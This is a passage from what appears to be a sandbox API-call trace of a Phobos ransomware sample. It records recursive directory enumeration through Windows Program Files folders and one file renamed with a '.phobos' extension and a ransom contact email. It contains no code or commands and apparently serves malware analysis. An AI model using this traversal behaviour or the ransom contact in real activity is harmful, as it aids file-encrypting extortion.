ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xa9c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadce.dll", cAlternateFileName="")) returned 1 [0163.711] FindNextFileW (in: hFindFile=0x1d1650, lpFindFileData=0x25ded4c | out: lpFindFileData=0x25ded4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41dce0ea, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x41dce0ea, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x41dce0ea, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadcer.dll", cAlternateFileName="")) returned 1 [0163.711] FindNextFileW (in: hFindFile=0x1d1650, lpFindFileData=0x25ded4c | out: lpFindFileData=0x25ded4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41da7e83, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x41da7e83, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x41da7e83, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x3b400, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadco.dll", cAlternateFileName="")) returned 1 [0163.711] FindNextFileW (in: hFindFile=0x1d1650, lpFindFileData=0x25ded4c | out: lpFindFileData=0x25ded4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41da7e83, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x41da7e83, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x41da7e83, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadcor.dll", cAlternateFileName="")) returned 1 [0163.712] FindNextFileW (in: hFindFile=0x1d1650, lpFindFileData=0x25ded4c | out: lpFindFileData=0x25ded4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x440870df, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x440870df, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x440870df, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x44400, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadds.dll", cAlternateFileName="")) returned 1 [0163.712] FindNextFileW (in: hFindFile=0x1d1650, lpFindFileData=0x25ded4c | out: lpFindFileData=0x25ded4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x44060e78, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x44060e78, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x44060e78, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="msaddsr.dll", cAlternateFileName="")) returned 1 [0163.712] FindNextFileW (in: hFindFile=0x1d1650, lpFindFileData=0x25ded4c | out: lpFindFileData=0x25ded4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41d5b9b4, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x41d5b9b4, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x41d5b9b4, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdaprsr.dll", cAlternateFileName="")) returned 1 [0163.712] FindNextFileW (in: hFindFile=0x1d1650, lpFindFileData=0x25ded4c | out: lpFindFileData=0x25ded4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41d5b9b4, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x41d5b9b4, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x41d5b9b4, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x57000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdaprst.dll", cAlternateFileName="")) returned 1 [0163.712] FindNextFileW (in: hFindFile=0x1d1650, lpFindFileData=0x25ded4c | out: lpFindFileData=0x25ded4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x44060e78, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x44060e78, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x44060e78, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x36200, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdarem.dll", cAlternateFileName="")) returned 1 [0163.712] FindNextFileW (in: hFindFile=0x1d1650, lpFindFileData=0x25ded4c | out: lpFindFileData=0x25ded4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4403ac10, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x4403ac10, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x4403ac10, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdaremr.dll", cAlternateFileName="")) returned 1 [0163.712] FindNextFileW (in: hFindFile=0x1d1650, lpFindFileData=0x25ded4c | out: lpFindFileData=0x25ded4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x440870df, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x440870df, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x440870df, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x7c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdfmap.dll", cAlternateFileName="")) returned 1 [0163.712] FindNextFileW (in: hFindFile=0x1d1650, lpFindFileData=0x25ded4c | out: lpFindFileData=0x25ded4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x440870df, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x440870df, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x440870df, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x7c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdfmap.dll", cAlternateFileName="")) returned 0 [0163.712] FindClose (in: hFindFile=0x1d1650 | out: hFindFile=0x1d1650) returned 1 [0163.713] HeapFree (in: hHeap=0x6f0000, dwFlags=0x0, lpMem=0x3360078 | out: hHeap=0x6f0000) returned 1 [0163.713] FindNextFileW (in: hFindFile=0x1d1850, lpFindFileData=0x25defd0 | out: lpFindFileData=0x25defd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0d8186d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Ole DB", cAlternateFileName="OLEDB~1")) returned 1 [0163.713] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\*", lpFindFileData=0x25ded4c | out: lpFindFileData=0x25ded4c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0d8186d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1b50 [0163.713] FindNextFileW (in: hFindFile=0x1d1b50, lpFindFileData=0x25ded4c | out: lpFindFileData=0x25ded4c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0d8186d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0163.713] FindNextFileW (in: hFindFile=0x1d1b50, lpFindFileData=0x25ded4c | out: lpFindFileData=0x25ded4c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b22f66e, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa0d8245b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0163.713] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\*", lpFindFileData=0x25deac8 | out: lpFindFileData=0x25deac8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b22f66e, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa0d8245b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1490 [0163.714] FindNextFileW (in: hFindFile=0x1d1490, lpFindFileData=0x25deac8 | out: lpFindFileData=0x25deac8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b22f66e, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa0d8245b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0163.714] FindNextFileW (in: hFindFile=0x1d1490, lpFindFileData=0x25deac8 | out: lpFindFileData=0x25deac8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3bb38282, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7449544e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xb3fb1900, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0x1800, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdasqlr.dll.mui", cAlternateFileName="")) returned 1 [0163.714] FindNextFileW (in: hFindFile=0x1d1490, lpFindFileData=0x25deac8 | out: lpFindFileData=0x25deac8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b9e0d51, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7449544e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xb3fb1900, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0xbc00, dwReserved0=0x0, dwReserved1=0x0, cFileName="oledb32r.dll.mui", cAlternateFileName="")) returned 1 [0163.714] FindNextFileW (in: hFindFile=0x1d1490, lpFindFileData=0x25deac8 | out: lpFindFileData=0x25deac8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3bb38282, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7449544e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xb3fb1900, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0xac00, dwReserved0=0x0, dwReserved1=0x0, cFileName="sqloledb.rll.mui", cAlternateFileName="")) returned 1 [0163.714] FindNextFileW (in: hFindFile=0x1d1490, lpFindFileData=0x25deac8 | out: lpFindFileData=0x25deac8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3ba9f918, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7449544e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xb65d7300, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0x4800, dwReserved0=0x0, dwReserved1=0x0, cFileName="sqlxmlx.rll.mui", cAlternateFileName="")) returned 1 [0163.714] FindNextFileW (in: hFindFile=0x1d1490, lpFindFileData=0x25deac8 | out: lpFindFileData=0x25deac8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3ba9f918, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7449544e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xb65d7300, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0x4800, dwReserved0=0x0, dwReserved1=0x0, cFileName="sqlxmlx.rll.mui", cAlternateFileName="")) returned 0 [0163.714] FindClose (in: hFindFile=0x1d1490 | out: hFindFile=0x1d1490) returned 1 [0163.715] HeapFree (in: hHeap=0x6f0000, dwFlags=0x0, lpMem=0x3370080 | out: hHeap=0x6f0000) returned 1 [0163.715] FindNextFileW (in: hFindFile=0x1d1b50, lpFindFileData=0x25ded4c | out: lpFindFileData=0x25ded4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x440870df, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x440870df, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x440870df, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x18600, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdaosp.dll", cAlternateFileName="")) returned 1 [0163.715] FindNextFileW (in: hFindFile=0x1d1b50, lpFindFileData=0x25ded4c | out: lpFindFileData=0x25ded4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x440870df, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x440870df, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x440870df, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x5be00, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdaps.dll", cAlternateFileName="")) returned 1 [0163.715] FindNextFileW (in: hFindFile=0x1d1b50, lpFindFileData=0x25ded4c | out: lpFindFileData=0x25ded4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41d0f4ea, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x41d0f4ea, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x41d0f4ea, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xaa800, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdasql.dll", cAlternateFileName="")) returned 1 [0163.715] FindNextFileW (in: hFindFile=0x1d1b50, lpFindFileData=0x25ded4c | out: lpFindFileData=0x25ded4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41d0f4ea, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x41d0f4ea, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x41d0f4ea, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xd600, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdasqlr.dll", cAlternateFileName="")) returned 1 [0163.715] FindNextFileW (in: hFindFile=0x1d1b50, lpFindFileData=0x25ded4c | out: lpFindFileData=0x25ded4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41d0f4ea, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x41d0f4ea, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x41d0f4ea, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1ca00, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdatl3.dll", cAlternateFileName="")) returned 1 [0163.716] FindNextFileW (in: hFindFile=0x1d1b50, lpFindFileData=0x25ded4c | out: lpFindFileData=0x25ded4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41d0f4ea, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x41d0f4ea, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x41d0f4ea, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x4000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msxactps.dll", cAlternateFileName="")) returned 1 [0163.716] FindNextFileW (in: hFindFile=0x1d1b50, lpFindFileData=0x25ded4c | out: lpFindFileData=0x25ded4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41ce9283, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x41ce9283, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x41ce9283, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xe6000, dwReserved0=0x0, dwReserved1=0x0, cFileName="oledb32.dll", cAlternateFileName="")) returned 1 [0163.716] FindNextFileW (in: hFindFile=0x1d1b50, lpFindFileData=0x25ded4c | out: lpFindFileData=0x25ded4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41ce9283, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x41ce9283, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x41ce9283, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x13000, dwReserved0=0x0, dwReserved1=0x0, cFileName="oledb32r.dll", cAlternateFileName="")) returned 1 [0163.716] FindNextFileW (in: hFindFile=0x1d1b50, lpFindFileData=0x25ded4c | out: lpFindFileData=0x25ded4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41ce9283, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x41ce9283, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x41ce9283, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x264c, dwReserved0=0x0, dwReserved1=0x0, cFileName="oledbjvs.inc", cAlternateFileName="")) returned 1 [0163.716] FindNextFileW (in: hFindFile=0x1d1b50, lpFindFileData=0x25ded4c | out: lpFindFileData=0x25ded4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41cc3017, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x41cc3017, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x41cc3017, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x26f7, dwReserved0=0x0, dwReserved1=0x0, cFileName="oledbvbs.inc", cAlternateFileName="")) returned 1 [0163.716] FindNextFileW (in: hFindFile=0x1d1b50, lpFindFileData=0x25ded4c | out: lpFindFileData=0x25ded4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x43c80ffc, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x43c80ffc, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x43c80ffc, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xd4000, dwReserved0=0x0, dwReserved1=0x0, cFileName="sqloledb.dll", cAlternateFileName="")) returned 1 [0163.716] FindNextFileW (in: hFindFile=0x1d1b50, lpFindFileData=0x25ded4c | out: lpFindFileData=0x25ded4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x43c80ffc, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x43c80ffc, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x43c80ffc, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1200, dwReserved0=0x0, dwReserved1=0x0, cFileName="sqloledb.rll", cAlternateFileName="")) returned 1 [0163.716] FindNextFileW (in: hFindFile=0x1d1b50, lpFindFileData=0x25ded4c | out: lpFindFileData=0x25ded4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x43854cb5, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x43854cb5, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x43854cb5, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x4fa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="sqlxmlx.dll", cAlternateFileName="")) returned 1 [0163.716] FindNextFileW (in: hFindFile=0x1d1b50, lpFindFileData=0x25ded4c | out: lpFindFileData=0x25ded4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x43854cb5, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x43854cb5, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x43854cb5, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="sqlxmlx.rll", cAlternateFileName="")) returned 1 [0163.716] FindNextFileW (in: hFindFile=0x1d1b50, lpFindFileData=0x25ded4c | out: lpFindFileData=0x25ded4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x43854cb5, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x43854cb5, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x43854cb5, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="sqlxmlx.rll", cAlternateFileName="")) returned 0 [0163.717] FindClose (in: hFindFile=0x1d1b50 | out: hFindFile=0x1d1b50) returned 1 [0163.717] HeapFree (in: hHeap=0x6f0000, dwFlags=0x0, lpMem=0x3360078 | out: hHeap=0x6f0000) returned 1 [0163.717] FindNextFileW (in: hFindFile=0x1d1850, lpFindFileData=0x25defd0 | out: lpFindFileData=0x25defd0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x440d35a9, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x440d35a9, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x440d35a9, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xd0a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="wab32.dll", cAlternateFileName="")) returned 1 [0163.717] FindNextFileW (in: hFindFile=0x1d1850, lpFindFileData=0x25defd0 | out: lpFindFileData=0x25defd0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x440d35a9, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x440d35a9, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x440d35a9, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xeb600, dwReserved0=0x0, dwReserved1=0x0, cFileName="wab32res.dll", cAlternateFileName="")) returned 1 [0163.717] FindNextFileW (in: hFindFile=0x1d1850, lpFindFileData=0x25defd0 | out: lpFindFileData=0x25defd0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x440d35a9, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x440d35a9, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x440d35a9, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xeb600, dwReserved0=0x0, dwReserved1=0x0, cFileName="wab32res.dll", cAlternateFileName="")) returned 0 [0163.717] FindClose (in: hFindFile=0x1d1850 | out: hFindFile=0x1d1850) returned 1 [0163.718] HeapFree (in: hHeap=0x6f0000, dwFlags=0x0, lpMem=0x3350070 | out: hHeap=0x6f0000) returned 1 [0163.719] FindNextFileW (in: hFindFile=0x1b9388, lpFindFileData=0x25df254 | out: lpFindFileData=0x25df254*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0c5f95f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="System", cAlternateFileName="")) returned 0 [0163.719] FindClose (in: hFindFile=0x1b9388 | out: hFindFile=0x1b9388) returned 1 [0163.719] HeapFree (in: hHeap=0x6f0000, dwFlags=0x0, lpMem=0x3340068 | out: hHeap=0x6f0000) returned 1 [0163.720] FindNextFileW (in: hFindFile=0x1b9208, lpFindFileData=0x25df4d8 | out: lpFindFileData=0x25df4d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf16b1511, ftCreationTime.dwHighDateTime=0x1d50bc2, ftLastAccessTime.dwLowDateTime=0xf16b1511, ftLastAccessTime.dwHighDateTime=0x1d50bc2, ftLastWriteTime.dwLowDateTime=0xf16b1511, ftLastWriteTime.dwHighDateTime=0x1d50bc2, nFileSizeHigh=0x0, nFileSizeLow=0x1a2, dwReserved0=0x430054, dwReserved1=0x108, cFileName="desktop.ini.id[B4197730-0001].[phobosrecovery@cock.li].phobos", cAlternateFileName="DESKTO~1.PHO")) returned 1 [0163.720] FindNextFileW (in: hFindFile=0x1b9208, lpFindFileData=0x25df4d8 | out: lpFindFileData=0x25df4d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0d83195, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x71169cb5, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x108, cFileName="Internet Explorer", cAlternateFileName="INTERN~1")) returned 1 [0163.720] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\*", lpFindFileData=0x25df254 | out: lpFindFileData=0x25df254*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0d83195, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x71169cb5, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1810 [0163.721] FindNextFileW (in: hFindFile=0x1d1810, lpFindFileData=0x25df254 | out: lpFindFileData=0x25df254*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0d83195, ftLastAccessTime.dwHighDateTime=0x1d47ca3, 